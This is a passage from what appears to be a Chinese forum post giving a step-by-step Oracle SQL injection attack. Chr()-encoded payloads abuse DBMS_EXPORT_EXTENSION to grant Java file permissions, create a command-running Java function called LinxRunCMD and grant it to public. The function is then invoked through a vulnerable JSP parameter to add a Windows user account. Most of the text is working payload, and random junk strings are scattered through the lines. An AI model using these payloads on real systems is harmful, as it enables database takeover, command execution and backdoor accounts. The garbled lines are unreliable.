chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||4 {5 i0 C- a, C  @1 _) V0 |3 c
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
+ ]- [  {8 A2 m! w7 p: M, W. pchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||. v( ^4 h1 O" X
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||+ z5 h! ]# A; k8 u
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
# |) x! W) H6 f9 R0 e: m! N4 M,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual( U7 v6 W* F& X

) l, c0 [# K1 Y0 B& `)
# T% `& E& C* H/ m7 v/ G' e/ H
8 F$ s* d) [  c------------------------------
8 ?0 k1 z6 B4 \6 C7 v0 c, K/ V
. |) s7 E2 B8 A/ Z8 q2.赋Java权限
8 p2 M; J+ L. M' B4 V0 ]- {/xxx.jsp?id=1 and chr(49)<>chr(50)||(& \! P$ r: i+ n" L2 n$ ]

2 l6 c% B7 L$ p" M+ z7 a0 T& kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
; v- R4 w! r* k, @chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
' X, c. V3 K! Xchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
8 W" F9 E! E. B, c1 Schr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||0 M/ k! F0 _- Y
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
: a, P, @8 i4 f; Cchr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||+ i6 v$ O, ]4 d1 ]
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||5 U6 k& p  P* H( h0 r
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||* q: ^! _* f& H2 D. ~
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
+ z8 ]- F$ J- K# O( ?8 Ochr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
! Z9 u9 |, Z5 C6 P) P- Y,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual# \$ q' u0 h6 {4 M0 e

$ X8 P- x2 X' }: K)3 m+ l/ O1 m0 m; M9 I/ C2 L; o
; T* c, e+ V  H, w
readfile函数的ascii版就不写了,见谅。
2 p6 i, c+ C' m6 M; O% D' n! a' O% n- v0 {. N2 N
3.创建函数( j* i  {4 H7 m: p0 c* I

1 f7 ~0 n2 k5 n; Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
5 g1 E8 V' S, w" c; mchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
+ l9 _) c! u- E2 e3 `chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||  J7 X) _% o2 b
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||% R$ U; r  q& m) ^: Q! f1 t
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
% ^2 c9 _4 x$ O) e: Q0 Tchr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||# Y4 Z. O/ a) Y. {! z7 @
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||5 Y7 g. B5 b' q) M, x. A4 S8 h3 l" A3 b9 c
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
* Q' D. n% l  l# \+ p0 mchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
8 b4 c- [  X0 `# i5 D( Q/ ]chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
! K+ D* E) z: |; T/ Dchr(59)||chr(45)||chr(45)8 \3 K- k. R% R: W$ \/ ^3 V
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual' r6 J- H( [+ q- n0 [5 C( p
/ v9 Z0 S) ]/ r: i8 X* `" s
" ~0 I8 P( @7 X. Q& ?  ^4 p

. E$ p" J  g$ ~9 C4 t4.赋public执行函数的权限
. t3 f, }( B7 |/ P' S* T. ?6 `+ ^
9 R8 U' E0 ^$ A( }select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
1 n0 q2 n( W' v; M2 q& gchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
. V$ }9 [) M( M9 x0 gchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
$ @, V+ q5 z; uchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
( e, I, T# Q, _" |" [: g% ~! \chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
" q. B1 h! P1 D1 G* ichr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||! J0 ?3 Z6 ~, j5 W7 p
chr(59)||chr(45)||chr(45)
* B; @& e+ l7 k,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
1 Z8 r  a' l7 g$ B/ ?7 m, L. A( |- L$ c0 r0 f7 G
) M5 f) |6 ^- \1 W& f" ^

- w0 O! S# H2 `' ~% p5.执行命令:% x5 n: d; P$ _- u- @- i, u2 x
  k; S7 ^. H7 s8 {% k
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
) I1 q7 z0 k2 g  \select sys.LinxRunCMD('cmd /c net user linx /add') from dual: {/ U! b$ x4 n- X9 L
)& P# `, u, I; K$ t4 |3 Q9 o' R0 I

4 {. K9 N, B) L0 N1 j8 b1 y2 r即( V( t( J& O; ^+ Q+ t
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
2 `7 ~# A4 N' [select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual$ s0 k# \, \- l% _& T
)3 B# d' P; u3 P  F
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